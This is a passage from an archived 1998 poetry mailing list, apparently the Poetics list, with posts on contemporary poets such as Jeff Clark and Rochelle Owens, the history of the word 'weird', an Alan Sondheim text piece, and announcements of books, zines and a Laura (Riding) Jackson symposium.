Mon 1 Jun 1998

This is a current (June, 1998) version of the EPC Author Page Call for contributions: ==========
We are asking people to consider contributing to the EPC author page development initiative. We feel there are certain key authors who should have a page at the EPC. Since you may also be working on/reading some of these authors, helping to create their page might be a simple matter, and might be a natural tie-in to ongoing research and/or writing projects.

What is an author page? Our basic aim is to create a place where links to resources in various web locations by and about the author might be gathered. (Additionally, if the author would agree to notify me of future web publications of their work, that would also be helpful.) In addition, in an EPC author page, we often seek to make available some new-to-the-web textual and/or visual resources, items specific to the EPC. But this is not necessarily required.

The basic requirements of such a page are a photo, a cv/list of publications/ bibliography, brief bio, the above-mentioned textual work, and the author's agreement to use their work. Files can be sent as attachments to e-mail (include a list of file names in e-mail message) or mailed on diskette. Also include links to any existing resources on the Web (available through any number of search engines).

An EPC author page does not require extensive knowledge of HTML. Indeed, the core activity of such a page is to gather and compile materials related to a given author; often this allows you the opportunity to contact and work with someone in whose work you are interested. It is also a valuable form of advocacy for writers who you believe should be read more widely.

The main purpose here is to develop a center where people might find out more about these authors. Help us with this collective effort to develop a body of content related to poetry that is available on the Web.

A list of suggested authors whose pages need to be created or developed follow. Have a look and let us know if you are interested or if you have suggestions.

For further details, please contact: Loss Glazier, [redacted]
or Charles Bernstein ([redacted]) regarding this initiative.
==========
Susan Howe
Tina Darragh
Diane Ward
Carla Harryman
Lyn Hejinian
Maggie O'Sullivan
Melanie Neilson
Denise Riley
Rae Armantrout
Catriona Strang
Nicole Brossard
Wendy Mulford
Rosmarie Waldrop
Deanna Ferguson
Hannah Weiner
Geraldine Monk
Karen Mac Cormack
Katheleen Fraser
Lisa Roberston
Marjorie Welish
Barbara Guest
Caroline Bergvall
Fiona Templeton
Fanny Howe
Bernadette Mayer
Leslie Scalapino
Ann Lauterbach
Mei-Mei Berssenbrugge
Stacy Doris
Lydia Davis
Kathleen Fraser
Rachel Blau DuPlessis

==========
Thanks.

↑ Index

27. William Burmeister Prod
Blownotes
Mon 1 Jun 1998

On May 30, 12:02pm, Erik Sweet wrote:
> Subject: Robert Duncan
> In a message dated 5/29/98 11:53:44 PM, you wrote:
>
> <<just last week someone posted a few poems by jeff clark, and having just
> finished that book i cast my line into the waters with a few tentative
> takes on the work, with nary a nibble in response.

> *Especially the "Blownotes Section" of Clarks book is interesting, He also explores the narrative in a challenging weird way - You are right about discussing current work*

Yeah the J.Clark book is impressive. I enjoy all the risk taking that is there, the reconstructive work with the narrative in the delightful little prose vignettes like "on the iron cot," "Napoleonette," invaginations," and "if i don't return."

This is the third or fourth time I've seen the "the little door..." and weird mentioned together in this venue. Doesn't the "weird" gets a bad rap with all the baggage that the word carries (likely the abuse, overuse it gets in pop culture(weird as "hip"))? Tom Beckett's take on surrealism years back in an interview was that it had become associated with hip weirdness in America, or something like that. Ray DiPalma preferred to say "dark music" here.

Jeff Clark is already fairly well connected (published in APR and what not) for a relatively young age, a good start.

William

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28. Safdie Joseph
Re: Quo Wens?
Mon 1 Jun 1998

As an addendum to Peter Balestieri's original post (part of which is excerpted below) that began the interesting thread earlier this morning on Alan Sondheim's work, I just wanted to say that I, too, purchased Rochelle Owens' "New and Selected Poems" from Mark Weiss and Junction Press last week, and find it

a handsome volume, a pleasure to hold and read -- because I didn't really know Owens' work before this, I'm taking my time looking around and through it -- my initial impression is that she's a really accomplished writer, able to manage a wide variety of moods, voices, and rants -- unlike Peter (apparently), I never thought "wildness" per se was a criteria for poetic excellence -- but I certainly wouldn't call this work "tame" -- and what he means by "an older definition of avant-garde work, one that is increasingly codified and canonized" is truly a mystery. Perhaps, Peter, you could point to specific examples of Owens that you find fit these descriptions? I'd be happy to throw in my faves as well . . . it might be worth talking about . . .

> Having read some pretty strong endorsements of Rochelle Owens'
> work,
> particularly that it is very "raw" and "wild," I queried the List
> to
> see if anyone could recommend a representative text to me. I
> received a
> number of generous responses (thanks to all) and purchased her
> New and
> Selected Poems from Junction/Mark Weiss. Mark was very helpful
> and I am
> very grateful to him. However, I do not find Owens' work to be
> particularly "wild" (though some was sexually explicit) and
> seriously
> disagree with the hyperbolic blurbs on the book jacket. I admire
> Owens'
> poetry but find it pretty tame in terms of form and content.
>
(snip) (recommendations of other web sites and Alan Sondheim's work)

> This is only my opinion and I am not saying
> that Owens' work was not "wild" at one time or that the opinions
> of
> others on this List aren't valid.
>
(snip) (more Alan, and the progenitor of the thread earlier today)

> *I'm hoping that this post will encourage people to engage in some dialog about the new work that gets ignored because it doesn't conform to an older definition of avant-garde work, one that is increasingly codified and canonized.*

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29. Peter Ganick

re last call

Mon 1 Jun 1998

one more word regarding alan sondheim's
remarkable work, in all sorts of characters
and personas...for those interested in being
in contact with alan's updated writings from
jennifer, julu, nikuko, alan -- the fiction-
on-philosophy mailing list is a good place
to read it as it is being created...

other writers interested in a forum
to create texts in a supportive environment
can also post their material there...

information on the list can be found in
the usual places -- search engines,
by searching for under literary or philo-
sophical categories of mailing lists...
or by backchanneling me...

peter ganick
[redacted]

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30. morpheal

Re: philosophy all at sea? Or where empiricism and mythematics fail, and yell "infinity",there poetic-philosophic cosmology begins anew ?

Mon 1 Jun 1998

> *"The great success which attends reason in its mathematical employment quite naturally gives rise to the expectation that it, or at any rate its method, will have the same success in other fields as in that of quantity. For this method has the advantage of being able to realise all its concepts in intuitions, which it can provide a priori, and by which it becomes, so to speak, master of nature; whereas pure philosophy is all at sea when it seeks through a priori discursive concepts to obtain insight in regard to the natural world, being unable to intuit a priori (and thereby to confirm) their reality.*

That proved all well, good and pragmatic, when it came to a three dimensional or four dimensional world. Then, when we exceeded that the mathematician scratched his head and yelled: "infinity, infinity, it is all at infinity". Then attempting to plot it beyond four dimensions, the mathematician, went absolutely mad. There was no way to plot anything graphically in five true dimensions. The Einsteinian universe, of four dimensions have been perplexing enough, but how to plot this new plethora of infinities ? Impossible. So impossible that most mathematicians decided that there could be only four and a fifth was too much for their calculations to contemplate. That mythematical wall then would stand in the way of a new cosmology where the answer to the shouts of infinity was always the fact that what had disappeared on this side was precisely locatable if one more true dimension were to be added to Einstein's hapless four to make five true dimensions.

> *them. Current empirical rules, which they borrow from ordinary consciousness, they treat as being axiomatic.*

Of course, exactly the problem. Vision is the primary empirical sense, followed by touch and then by sound. These "sense" only four dimensions. They can empirically discern for the derivations of Einstein's four but they go no further. Beyond that we have an "unseen world" that traditional empiricism denies any validity to. So the hard line empricist sides with the mythematician and they both yell: "infinity, infinity, infinity" as if that might exorcise the problem.

> *the limits of the natural world. But, unconsciously, they pass from the field of sensibility to the precarious ground of pure and even transcendental concepts, a ground (instabilis tellus, inabilis unda) that permits them neither to stand nor to swim, and where their hasty tracks are soon obliterated. In mathematics, on the other hand, their passage gives rise to broad highway, which the latest posterity may tread with confidence.*"

The very prejudice that stopped scientific advance dead in its tracks for such a long time. At least it stood in the way of any reasonably inclusive cosmology, and multiplied not only infinities but the numbers of "infinities" into vast legions as massed as the demons of Hades itself.

To say five dimensions was to become transcendental. Horror of horrors. We cannot see it. We cannot draw it on a graph, without horrendous difficulties. We can hardly refer to it properly with metaphors and so it is more poetic than mythematical. Where the mythematician says "infinity, infinity, infinity" the poet-cosmologist might still be able to delineate something more definite about how things are. However, the mythematician might never agree, preferring "infinity" to stand firm. Instead that firmness becomes the monument at the end of the traditional empiricist's road, where five replaces four.

No more mythos of four dominating everything. No more the four quarters of empiricism and the quadrants of the graphical representation. Tradition finally broken down where four is no longer enough, but we must posit five.

> *and that mathematics and philosophy, although in natural science they do, indeed, go hand in hand, are none the less so completely different, that the procedure of one can never be imitated by the other."---from The Critique of Pure Reason by Immanuel Kant---cp*

How very true, but how very false a premise to give mythematics such pre-eminence over philosophical cosmology, as if the mythematician's exhortations of "infinity, infinity, infinity" are the be all and end of the entire matter.

M.

aka.

Bob Ezergailis

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31. morpheal
Re: universal quantifier: The universe as poetic.
Mon 1 Jun 1998

> *substituted for x generating a new value y', and so on. Hence, the existence of an infinity of objects can be deduced explicitly by logic alone."---from Kant and the Exact Sciences by Michael Freedman*

Assuming that the quantum poetry of this universe results in a finite number of objects being possible, is a more logical assumption. There are a limited number of components, for which conditions allow a limited number of different, "useful" or "functional", arrangements. Our universe as a whole is a poetic form essentially written in one language.

However, I propose that there are other universes, different from the one that we live in. They might be comprised of very different quantum units. There is no reason to imagine that every instance of an existent and functional universe is comprised of the same building blocks of matter arranged in essentially the same ways as they are _here_. They would be a different poetic form, written in another language.

Could different universes intercombine along boundaries and produce even more different combinations, emergent from those boundaries ? Why not. I think it is possible. Could hybrid poetic forms with hybrid languages result from that ? Of course they might.

Imagine a larger vision of the whole, not limited to our narrowly anthropocentric Terran view. Imagine the analogy of set theory in mathematics and how that is diagrammed on a piece of paper. Each set is shown to be a demarcated

area, indicating its boundaries. They overlap where they have elements shared in common. One set can also be wholly within another set. Where the analogy breaks down is the constant dynamism of the whole. The boundaries are dynamic rather than static. The universes effect one another. Their expansions and contractions. Their pressures upon one another. Their mergings and emergences are all inter-related. How matter is forced out of four dimensional existence and into four dimensional existence. How it disappears into mathematical infinity and emerges from mathematical infinity is then related to the densities of presence, and the forces exerted by the dynamisms present, within a five dimensional cosmological system that remains essentially constant for the whole of cosmogenesis.

Now that is pure poetry. Not simply one form, in one language, but a unifying paradigm of absolutely universalized poetics.

> "*impersonation of the machine that it produces itself so that ultimately the machine can replace it.*"

Of course the ultimate goal is machines that can utilize the fundamental building blocks, the quanta, of any possible universe, to create any potentially possible, currently real or in any manner imaginable, thing, including those with sentience.

That would be an ultimate creativity. An ultimate poetics where the very stuff that everything that exists is comprised of is the alphabet and that alphabet is combined into any language, and given any possible form of expression. Might we then think of every possible thing that might be made as something written, and thus something purely poetic ?

Morpheal

aka

Bob Ezergailis

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32. Peter Quartermain
Kat Onoma
Tue 2 Jun 1998

At 04:32 PM 6/1/98 MST7MDT, you wrote:

> *¶ Anybody out there familiar with a French band by the name of "Kat Onoma"? I happened to notice a page just now that mentions their second album, Stock Phrases, which apparently "is based upon the works of the American poet Jack Spicer". !?*

Is their first album the one I have? I dunno. It's BILLY THE KID
selected and performed by Kat Onoma
The cd # appears to be 592 042 WM332 but it's hard to read. Copyright FNAC Music 1992
WMD distribution

The album cover has CONTACT 78 2740 31 printed on it, which looks like a phone number. I forget who the American agent is promoting it -- he's in LA and sent me thre album aboiut two or three years ago. I got it some exposure on the Vancouver Co-op Radio, but nothing cam e of it that i know of.

The album includes kuch of Spicer's poem, with tyranslated texts ad songs also by Thomas Lago, from his Serie B, After Spicer (there's an acute accent on the first e of serie). The album also includes "Navajo words from THE NIGHT CHAMNT, translated by Jery Rothenberg in Technicians of the Sacred.

Maybe Jerry can tell you more?

+ + + +

"For space of higher dimensions these series persis and are the only ones possible. Recapitulating, in a plane there are an unlimited number of regular polygons and 3 regular networks, in space of three dimensions, there are 5 regular polyhedra and one regular honeycomb, in S-sub-4 there are 6 regular polytopes and three regular honeycombs, in space of more than four dimensions there are just 3 regular polytopes and one regular honeycomb."

A great deal of the book is taken up with intersections of n and m dim- ensional spaces.

Finally, there are books on Dimension Theory (the title of one published by Princeton years ago) that go into the foundations of "dimension" - and it should be noted that string theory works with eleven dimensions, not four, at least from what I've read.

Alan

↑ Index

34. Erik Sweet

Re: Blownotes

Tue 2 Jun 1998

In a message dated 6/1/98 6:55:28 PM, you wrote:

<<This is the third or fourth time I've seen the "the little door..." and weird mentioned together in this venue. Doesn't the "weird" gets a bad rap with all the baggage that the word carries (likely the abuse, overuse it gets in pop culture(weird as "hip"))? Tom Beckett's take on surrealism years back in an interview was that it had become associated with hip weirdness in America, or something like that. Ray DiPalma preferred to say "dark music" here.

Jeff Clark is already fairly well connected (published in APR and what not) for
a relatively young age, a good start.

William
>>

Weird is a weird word. It can mean so many things, but in Clark's way I mean not "hip" at all, interesting, strange ways of laying out the lines, images which on a surface level (i.e a guy leaning out of a window while you walk past.) are normal situations but Clark takes you somewhere and I find that weird, in a world of young poets who want to be "hipsters" and metaphor stirrers,

Clark takes you with him into the realm of this moving image you are allowed to see, to be in, without being part of some comparison or metaphor trickery

great discussion for now I will go to it like a "callboy to a c-note"

Any other thoughts on Duncan ???
Where is the collected?

errik

↑ Index

35. **Tom Orange**
(no subject)
Tue 2 Jun 1998

On Mon, 1 Jun 1998, William Burmeister wrote:

> *Yeah the J.Clark book is impressive. I enjoy all the risk taking that is there,... Doesn't the "weird" gets a bad rap with all the baggage that the word carries....*

yes weird is a bit diffuse, but the disconcerting, unheimlich quality *is* diffused, saturated throughout the work (not unlike alan's, tho with obvious differences) and thus makes it hard to pinpoint. other qualities aside, i keep coming back to the language: exotic, archaic, foreign: "daim-coqs" (deer-roosters?), as in

Howling daim-coqs fill the rows
Herons from wires love hooves in hose

(wouldn't even eliot have loved that couplet?) or "gauche mare" (left pond/pool ... de sang? = cauchemar?). or

Who deals in scales and fleshrecord players
Who wafts in the imbroglio of scents
Whose siblings are spilled in tusky drawers
Whose oil fouls the linens whose down and lint
("Mal de Dusk")

i think of "decadence" as a useful descriptor here, more than a hint of an earlier vintage but decanted through a high-surrealist cheesecloth, made more potent for the current fin-de-siecle.

(sorry for the bad metaphor; this is supposed to be a compliment.)

t.

On May 30, 12:02pm, Erik Sweet wrote:
>
> Especially the "Blownotes Section" of Clarks book is interesting, He also
> explores the narrative in a challenging weird way - You are right about
> discussing current work
>
> In a message dated 5/29/98 11:53:44 PM, Tom Orange wrote:

>
> > just last week someone posted a few poems by jeff clark...

↑ Index

36. david bromige
re limits
Tue 2 Jun 1998

---

well, I tell ya, Sylvester, as to the 5-message-per-day limit on individuals, I'm for it and I'm agin it. I hate to be so obdurate about something, but there it is. I dont think my mind can be changed on this one.

I'm for it if a listmate goes hypomanic and post ten one-line posts a day. Like (clue : name has a 'g' in it) used to, before I went over there and smashed his head in a car door for ten minutes. Ouch! It hurt like hell.

I'm agin it, when things are flowing hot and heavy and someone, e.g. Alan Sondheim, is caught up in an argument.

So there you have it, Sylvester, from the White House on High Street in Sebastopol : one Aye, one Nay. The horse laughs last. David "Trimmer" Bromige

↑ Index

37. Alan Myouka Sondheim
Talk Between Jennifer and Nikuko on Ytalk Ending in Anger
Tue 2 Jun 1998

-

Talk Between Jennifer and Nikuko on Ytalk Ending in Anger

(recorded verbatim between Fukuoka and New York City Tue Jun 2 02:36:21 EDT 1998 - errors as is/are/was)

----------= YTalk version 3.0 (2) =----------
oh nikuko you are so beautiful, shall we meet among the dashed spaces of our bodies' miseries
the matrix saves us, there is no beginning and ending, nothing but liquid pureness of language slDalvaging these spaces...
they lend themselves across these times and spaces, they're lost, rudderless, as masts crash to the deck in dark and rdreary storms ouf our making

----------= [redacted] =---------- oh jennifer, the world will never know what beauty entangled us among our very selves, machines, wholesale worlds to sail, soiled and sold they are frought with desire, they lend themselves to arms and legs akimbo we are made, made, women, we have sounded, resonated, with each

and every protocol, each and every space or site open to winds and skies coagulating like limpets seas and jellies

---

----------= YTalk version 3.0 (2) =----------
the matrix saves us, there is no beginning and ending, nothing but liquid pureness of language slDalvaging these spaces...
they lend themselves across these times and spaces, they're lost, rudderless, as masts crash to the deck in dark and rdreary storms ouf our making
jellies and dark dreams, there is space enough for your soft limbs, for mine...
which bring about the semblance of a face, lineaments of eyes and mouths, speaking elsewhere, from the sides of things, from their moments of origin

you've said that before, over and over again, as if repetition had no goal but the delibery of the interval...

----------= [redacted] =---------- we are made, made, women, we have sounded, resonated, with each and every protocol, each and every space or site open to winds and skies coagulating like limpets seas and jellies

times which smooth us, bits and bytes, protocls lost and smoothing functions traced across peripheries, margins, divisions among all routers

carried across time and space, moved, just as Jennifer has all the space there is, Jennifer has all the time in the world

which announces itself as the edge or frame of this dialog, these moments carried forth...

----------= YTalk version 3.0 (1) =---------- everything is a moment moment for you, everything this mmmm... of matrix, mother, maternal, carrying forth, something about Timaeus plays a role here if not the whole tradition...I pre

no, no, i prefer the small, seeping, the peripeheral, marginal, the scattered words, drops say from a drizzle, that is, forage, no, foresaken, no, i'm not sure here, what is it, what it is, what is it

carry forth!!
---------= [redacted] =----------
you've said that before, over and over again, as if repetition had no goal but the delibery of the interval...

I'd be hard tput to know what tradition you are speaking from, Nikuko, if that is your name, carried across this? or which might be, say, that of the Kojiki
<*note replying with capitals, as the discussion hardens its wares*>

what would break down here, a language that you use against me? so that I will absjure, abjure these ... moments ... ?

---

carry forth!! [QUITS THE DISCUSSION IN ANGER]
---------= [redacted] =----------

what would break down here, a language that you use against me? so that I will absjure, abjure these ... moments ... ?

{k:4}

↑ Index

38. d.j. huppatz
ronaldjohnson
Tue 2 Jun 1998

dear listfolk

after the glowing mentions of his name on the list recently, i finally tracked down a copy of ronald johnson's "ark" - a truly remarkable book (i found a new copy in a second hand bookstore, a remainder i guess, along with a new copy of spicer's collected - both at secondhand prices!). could anyone please b/c me an address or somewhere where i can order johnson's other books (especially RADI OS) & i would also appreciate if anyone knows of any secondary material on johnson & where i might find it.

thanks muchly in advance

danny
[redacted]
melbourne, australia

↑ Index

39. Anthony Lawrence
From Oz
Tue 2 Jun 1998

Hello from Australia.
This is my first post to the discussion group, and it's simply
a greeting. I'm looking forward to being involved.

Best

Anthony Lawrence

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

40. Michel Delville

The American Prose Poem / shameless self-promotion

Tue 2 Jun 1998

Dear Listees:

I just wanted to say that my book on the American prose poem is now available.

at http://www.nerdc.ufl.edu/~upf/Spring1998/s98-delville.html.

"The American prose poem has a rich history marked by important contributions from writers as diverse as Gertrude Stein, Sherwood Anderson, Kenneth Patchen, Russell Edson, Michael Benedikt, Robert Bly, Margaret Atwood, Charles Simic, Lyn Hejinian, Joy Harjo, Rosmarie Waldrop, and Ron Silliman. Michel Delville's book is the first full-length work to provide a critical and historical survey of the American prose poem from the early years of the twentieth century to the 1990s. Delville reassesses the work of established prose poets in relation to the history of modern poetry and introduces writing by some whose work in the form has so far escaped mainstream critical attention (Anderson, Patchen, Edson). He describes the genre's European origins and the work of several early representatives of a modern tradition of the prose lyric (Charles Baudelaire, Max Jacob, Franz Kafka, and James Joyce).

By applying a broad range of theory to the history of the prose poem, Delville adds evidence to its reputation as a norm-breaking form writing within, against and across already existing genres and traditions. He shows that the history of the contemporary prose poem is, in many respects, the record of its efforts to question both the nature of the "poetic" or "lyric" mode and the aesthetic and ideological foundations of a variety of other genres and sub-genres, including the fable, the parable, the interior monologue, the aphorism, the object poem, critical theory, narrative fiction, autobiography and letter writing, or even the non-literary tradition of the stand-up comic."

Michel Delville

English Department
University of Liège
3 Place Cockerill
4000 Liège
BELGIUM
fax: ++ 32 4 366 57 21
e-mail: [redacted]

↑ Index

41. Anthony Lawrence

Details

Tue 2 Jun 1998

My name is Anthony Lawrence. My address is: PO Box 75, Sandy Bay, Tasmania, 7006, Australia I heard about the discussion group from the Electronic Poetry Centre homepage on the Internet. Also, a friend of mine, Philip Mead is a member. My interest is discussing poetics and current trends in contemporary poetry. I read widely in American poetry, and this is an opportunity to interract with and learn from some of those poets.

Sincerely,

Anthony Lawrence

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

42. Michel Delville

The American Prose Poem / shameless self-promotion

Tue 2 Jun 1998

Dear Listees:

I just wanted to say that my book on the American prose poem is now available from The University Press of Florida (http://www.nerdc.ufl.edu/~upf/Spring1998/s98-delville.html).

---------- THE AMERICAN PROSE POEM: POETIC FORM AND THE BOUNDARIES OF GENRE

Michel Delville

"The American prose poem has a rich history marked by important contributions from writers as diverse as Gertrude Stein, Sherwood Anderson, Kenneth Patchen, Russell Edson, Michael Benedikt, Robert Bly, Margaret Atwood, Charles Simic, Lyn Hejinian, Joy Harjo, Rosmarie Waldrop, and Ron Silliman. Michel Delville's book is the first full-length work to provide a critical and historical survey of the American prose poem from the early years of the twentieth century to the 1990s. Delville reassesses the work of established prose poets in relation to the history of modern poetry and introduces writing by some whose work in the form has so far escaped mainstream critical attention (Anderson, Patchen, Edson). He describes the genre's European origins and the work of several early representatives of a modern tradition of the prose lyric (Charles Baudelaire, Max Jacob, Franz Kafka, and James Joyce).

By applying a broad range of theory to the history of the prose poem, Delville adds evidence to its reputation as a norm-breaking form writing within, against and across already existing genres and traditions. He shows that the history of the contemporary prose poem is, in many respects, the record of its efforts to question both the nature of the "poetic" or "lyric" mode and the aesthetic and ideological foundations of a variety of other genres and sub-genres, including the fable, the parable, the interior monologue, the aphorism, the object poem, critical theory, narrative fiction, autobiography and letter writing, or even the non-literary tradition of the stand-up comic."

May 1998. 368 pp. 6 X 9. Notes, bibliography, index.

ISBN 0-8130-1591-X Cloth, $39.95s

Michel Delville
English Department
University of Liège
3 Place Cockerill
4000 Liège
BELGIUM
fax: ++ 32 4 366 57 21
e-mail: [redacted]

↑ Index

43. david bromige
like, weally weird
Tue 2 Jun 1998

As I recall, from a little research done years ago, this word comes to us from A-S, where it carried some of the weight/freight of "Fate." Perhaps of the mystery of eventuation, like "Vhat am I doink in Vauderville," as a friend from Poland said to me when he was teaching in Maine. (Well, he's really from Brooklyn, but he had had a Fulbright to Poland [where he no doubt exclaimed "What am I doing in Lodz."]) And the mystery of synchronicity. And the terror of memory -- where's the horse gone, where the bright armor, where the great mead-hall kind of sense to it. One link with today's word appears to be _surprise_ , happily so or far otherwise. And, something inexplicable. Witchcraft enters the word somewhere along the way. So we have its application to amazing moves in a game, the poetry game e.g. Weird. db3

↑ Index

44. Rachel Loden
my wickit, wickit weird
Tue 2 Jun 1998

OED is lovely on "weird," as you might expect. A few samplings to pick up the weird-licht from Bromwright's armor & mead-hall post:

1603 Philotus c, Quhat wickit weird hes wrocht our wo?

1895 W. Morris Beowulf 16 Weird wends as she willeth.

Ibid. 17 Weird swept them away.

1834 A. Smart Rambling Rhymes 164 Puir auld wives . . . Were seized in Superstition’s clutches, An’ brunt to death for wierds an’ witches.

a1600 Montgomerie Misc. Poems xlvi. 31 They haif wroght my weird Vnhappiest on eird.

1863 B. Brierley Chron. Waverlow Introd. p. xv, Stories of eld and weirddom are vanishing too.

1718 Ramsay Christ’s Kirk Gr. iii. viii, It’s a wise wife that kens her weird.

1678 Ray Prov. (ed. 2) 360 (Sc. Prov.) A man may wooe where he will, but he will wed where he is weard [ed. 1, where his hap is].

1571 Sir J. Maitland in Satir. Poems Reform. xxvii. 102 Then warreitt war thy weirdis and wanhap.

[Quick detour into "wanhap" : misfortune, and the even more devastating wanhappy : "The wildbair that wanhappie beist"]

1721 J. Kelly Sc. Prov. 2 After Word comes Weird; fair fall them that call me Madam.

1883 Hall Caine Shadow Crime xxxvi, Weel, weel; after word comes weird. That’s why the constables are gone, and that’s why Robbie’s come.

1513 Douglas Æneis iii. vii. 48 Bot we from werd to werd and chance mon wend.

1513 Douglas Æneis xii. xii. 202 And thou, Tellus, mast nobill God of erd, Hald fast the speris hed by our werd.

1845 J. E. Carpenter Poems & Lyrics 34 The weird-woman had stol’n away.

Rachel Loden

david bromige wrote:
>
> As I recall, from a little research done years ago, this word comes to us
> from A-S, where it carried some of the weight/freight of "Fate." Perhaps of
> the mystery of eventuation, like "Vhat am I doink in Vauderville," as a
> friend from Poland said to me when he was teaching in Maine. (Well, he's
> really from Brooklyn, but he had had a Fulbright to Poland [where he no
> doubt exclaimed "What am I doing in Lodz."]) And the mystery of
> synchronicity. And the terror of memory -- where's the horse gone, where
> the bright armor, where the great mead-hall kind of sense to it. One link
> with today's word appears to be _surprise_ , happily so or far otherwise.
> And, something inexplicable. Witchcraft enters the word somewhere along the
> way. So we have its application to amazing moves in a game, the poetry game
> e.g. Weird. db3

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45. Garrett Kalleberg
The 4th Friend
Tue 2 Jun 1998

June 2, 1998

The Summer 1998 issue of The Transcendental Friend is available now. (We will return to our monthly publication schedule in September.)

http://www.morningred.com/friend

The Bestiary, edited by Laird Hunt, features work by Camille Guthrie & Cole Swenson.

Jen Hofer is preparing an anthology of avant garde poetry by Mexican women. This month's Report features her translations of three poems by poet Ana Belén López.

Built around an excerpt from The Black Book by Orhan Pamuk and texts by Leonard Schwartz & Heather Ramsdell, Joe Eliott provides this month's contribution to Mote.

A new section called Schizmata offers works written for multiple voices. This month's work is by Heather Fuller.

This issue's Project features some figs.

In Review this month is an exhibiton of Conceptual Photography, written by Daniel Machilin.

Previous issues of the Friend are available from the Files page.

And if you haven't done so already, please take a moment to Subscribe to the Friend (it's
free).

Thanks for your interest!

Garrett

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46. Scott Keeney
Call for submissions
Tue 2 Jun 1998

The End Review, a new (paper) zine, is now considering poetry, microreviews, & line-drawings for first issue.

Submit work before 6/30/98
by e-mail to:
[redacted]
(sorry, no attachments),
or by snail-mail to:

The End Review
c/o Scott Keeney
10 Summit Ave. #3
Somerville, MA 02143-1837

↑ Index

47. Sylvester Pollet
Re: re limits
Tue 2 Jun 1998

David, Yeah, I know what you mean. I decided I wasn't about to duke it out behind no barn where I was limited to five swings & the other guy unlimited! I've been thinking of a buddy-system (is that non-gender specific--it's meant to be) where each talker is matched with a lurker, to pool his/her message units by forwarding. That way, when there's a genuine discussion, e.g. Nada Gordon/ Alan Sondheim, it could play out in real time. Joel's " put it all in one message" is great for soapboxing, but lousy for dialogue, which goes faster than 5 in 24. Sylvester

At 10:50 PM -0700 6/1/98, david bromige wrote:
>well, I tell ya, Sylvester, as to the 5-message-per-day limit on
>individuals, I'm for it and I'm agin it. I hate to be so obdurate about
>something, but there it is. I dont think my mind can be changed on this
>one.
>
>I'm for it if a listmate goes hypomanic and post ten one-line posts a day.
>Like (clue : name has a 'g' in it) used to, before I went over there and
>smashed his head in a car door for ten minutes. Ouch! It hurt like hell.
>
>I'm agin it, when things are flowing hot and heavy and someone, e.g. Alan
>Sondheim, is caught up in an argument.
>
>So there you have it, Sylvester, from the White House on High Street in
>Sebastopol : one Aye, one Nay. The horse laughs last. David "Trimmer"
>Bromige

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48. Charles Bernstein
Laura (Riding) Jackson Symposium
Tue 2 Jun 1998

Laura (Riding) Jackson and the Promise of Language
A Symposium and Exhibition
Cornell University, Ithaca, New York
October 8-9, 1998

An international gathering of scholars, including Laura (Riding) Jackson's authorized biographer, her bibliographer, students of her poetry, stories, criticism, and thought, and publishers of her work, will offer two full days of panel discussions and related presentations in a symposium timed to coincide with

the opening of the first exhibition drawn from the extensive Laura (Riding) Jackson and Schuyler B. Jackson Collection held by the Cornell University Library. For this occasion, both a guide to the collection and an exhibition catalog will be made available, and most restrictions on scholarly access to the Collection will be permanently lifted.

For a complete program and information about housing in Ithaca, or to pre-register (no charge) please contact: Lorna Knight, Curator of Manuscripts, 2B Kroch Library, Cornell University, Ithaca, NY 14853-5302. TEL [redacted] FAX [redacted] [redacted].

Co-sponsored by the Division of Rare and Manuscript Collections, Cornell University Library and the Laura (Riding) Jackson Board of Literary Management. Additional funding provided by the Sonia Raiziss Giop Charitable Foundation.

***** DRAFT PROGRAM***

Laura (Riding) Jackson and the Promise of Language:
A Symposium and Exhibition
(all program events take place in Conference Room, 2B Kroch Library, unless otherwise indicated)

Pre-Symposium Activities: An Introduction to L(R)J (Roger Gilbert and Jennifer Ashton, Department of English, Cornell University (dates and times to be determined, possibly in cooperation with Alan Clark on Thursday, October 8, 1998 at 9:00 a.m.)

Thursday, October 8, 1998

10:45 a.m. Welcoming Remarks: Alan Clark, H. Thomas Hickerson

11:00-12:30 Reading Laura (Riding) Jackson Chair: Jennifer Ashton
Carla Billitteri "Fables of Meaning: History and Storytelling in
Laura Riding's Short Fiction"

Chris Stroffolino "[Prose including the Word Woman, The
Telling, Four Unposted Letters to Catherine, Contemporaries and
Snobs, etc.]

Susan Schultz [L(R)J's fiction]

12:30- 2:00 Lunch break (on your own)

2:00 - 3:30 "Truth Begins where Poetry Ends" Chair: Jerome McGann Olin 106 Steven Meyer "An Ill-Matched Correspondence: Laura (Riding)

Jackson’s Gertrude Stein -- Figure of SPEECH, Figure of WRITING, Figure of POETRY

Mark Jacobs "Knowing Everything: An Introduction to Laura (Riding) Jackson

Alan Clark "LRJ: The Telling and Before"

3:30-4:00 Coffee Break
Olin 106

Kroch Library Exhibition Gallery
4:00 Introduction to the Exhibition and Tour: Margaret Nichols
4:30 Welcoming remarks: Sarah Thomas, Theodore Wilentz
4:45 Opening Reception

6:30 or 7:00 Dinner for L(R)J panels and Board members

Friday, October 9, 1998

9:00 - 10:00 Elizabeth Friedmann "Laura Riding and Laura (Riding) Jackson: The One Story" (introduced by Joan Wilentz)

10:00-10:30 Coffee break

10:30 - Noon Researching Laura (Riding) Jackson Chair: Lorna Knight
Patrizia Sione: "The Laura (Riding) Jackson and Schuyler B. Jackson Papers"

Nick Everett: "The G.S. Fraser - Laura (Riding) Jackson correspondence"

Amber Vogel: "The Breath of Letters: Poetry and Poetics in Laura (Riding) Jackson's Correspondence"

Noon - 1:30 Lunch Break (on your own)

1:30 - 3:00 Panel: That Being Be Well Spoken Chair: William Harmon
Lisa Samuels "Imagining What you Don't Know: Anarchism is Not Enough"

John Nolan "That Being Be Well Spoken: The Telling and after"

Barrett Watten "Laura Riding's Horizon Shifts"

3:00 - 3:30 Coffee break

3:30 - 4:30 Publishing Laura (Riding) Jackson Chair: Theodore Wilentz
Alfredo di Palchi "How By Chance I Discovered Laura (Riding) Jackson"

Dan Mandel [literary agency and the works of L(R)J]

Michael Braziller "Publishing Laura (Riding) Jackson

4:30 - 5:00 Concluding Remarks: Laura (Riding) Jackson and the Promise of Language: Speaker: Charles Bernstein

Dinner Break

8:15 p.m Laura (Riding) Jackson and Friends: An Evening of Readings and Reminiscences"
Host: James Tyler

Including:
Peggy Friedmann [Laura (Riding) Jackson in her own voice - excerpts from recordings)
Robert Nye [reading]
Richard Foerster, poet and editor, Chelsea
David Lehman [reading]
Jay Ansill [L(R)J to music]
James Tyler on printing L(R)J
Members of the Laura (Riding) Jackson Home Preservation Foundation [video presentation]

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49. Mark Prejsnar
